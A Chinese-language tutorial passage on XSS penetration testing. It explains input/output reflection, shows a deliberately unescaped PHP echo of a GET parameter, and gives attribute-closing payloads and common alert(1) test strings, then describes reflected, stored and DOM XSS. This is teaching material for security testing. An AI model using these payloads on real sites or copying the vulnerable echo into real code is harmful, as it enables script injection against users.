三、XSS渗透测试步骤
xss攻击,一定牢记"输入输出",输入指的是攻击者对服务器网页输入恶意代码
输出指的是浏览器接受到代码后能解析出并输出到前端。
xss原理就是开发者没有对输入内容进行过滤,导致通过攻击者进行构造的前端代码,
输入后和原有的前端代码产生混淆,形成新的页面语句,并且新的页面语句能够被浏览器解析并输出。
xss渗透测试步骤:
1)找到输入点,输入任意字符串,查看输出位置
2)打开网页源代码,在源代码中查看输出的位置(有可能输入和输出不在同一个页面)
3)查看输出位置的内容与输入内容之间的关系,构建闭合和拼接脚本
4)利用<script>或onclic或alert(1)进行测试,确认是否存在xss注入点
5)开始利用注入点完成各类复杂的操作,实现攻击目的
优化PHP代码为以下代码,并在一个文本框中进行输出:
if(isset($_Get['content'])){
$content = $_Get['content'];
echo "<input type='text' value='$content' id='username'/>;"
}
我们的目的是进行xss攻击,执行JS代码的条件是要有script标签或事件属性
<script>alert(1)</script> 这是一定能在页面上执行弹窗警告框的
如果我们直接输入上述的代码将直接会变成这样==》
<input type='text' value='<script>alert(1)</script>'> 这并不符合HTML的语法
<input type='text' value=''><script>alert(1)</script>"> 变成这样的话,就是input和script两个标签都能执行
因此我们输入就变成
"><script>alert(1)</script><!-- 就是凭借和闭合后然后就将后续的代码进行注释就可以了
那此时浏览器在解析的时候,就会解析出两个元素,一个是input,一个是script,从而执行我们在script中的代码,完成XSS攻击
也可以完成对value="的闭合,实现文本框的单击事件,Payload为:
hello" onclick="alert(1)
也可以构造一个全新的标签进行触发:
Palyoad 1:"><img src="1" onerror="alert(1)">
Palyoad 2: "><img src="./image/dateme.gif" onclick="alert(1)"><!--
Palyoad 2: "><img src="./image/dateme.gif" onclick="alert(1)"><input type="hidden
xss常用的测试语句:
<script> alert(1)</script>
<img src=1 oneror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<input onfocus=write(1) autofocus>
四、xss的类型
1、反射型xss
我们构造好一个url的payload,发送给受害者,受害者点击恶意链接后再受害者的浏览器上执行恶意代码。
反射型xss是一次性的,而且比较容易被发现,通常恶意链接会被修改成短链接,或钓鱼图片的形式。
2、存储型XSS
存储型又叫永久性xss,常见于留言板,因为存储型xss的页面会将用户输入的内容存入到数据库内,
所以其他人每访问一次的时候,服务器都会从数据库将攻击者输入的内容调取到前端浏览器解析,
因此每一次访问就相当于一次xss攻击
3、DOM型XSS
DOM会将HTML文件的节点构建成树状结构,(一个标签就是一个节点)
不与服务器交互,本质上也是一种反射型xss。主要利用js使用domn对前端HTML进行操作时候产生的漏洞。DOM型xss难点就在于通过阅读JavaScript来确定输出的位置,才好构建输入的payload.
DOM型xss可通过开发者工具观察js变化。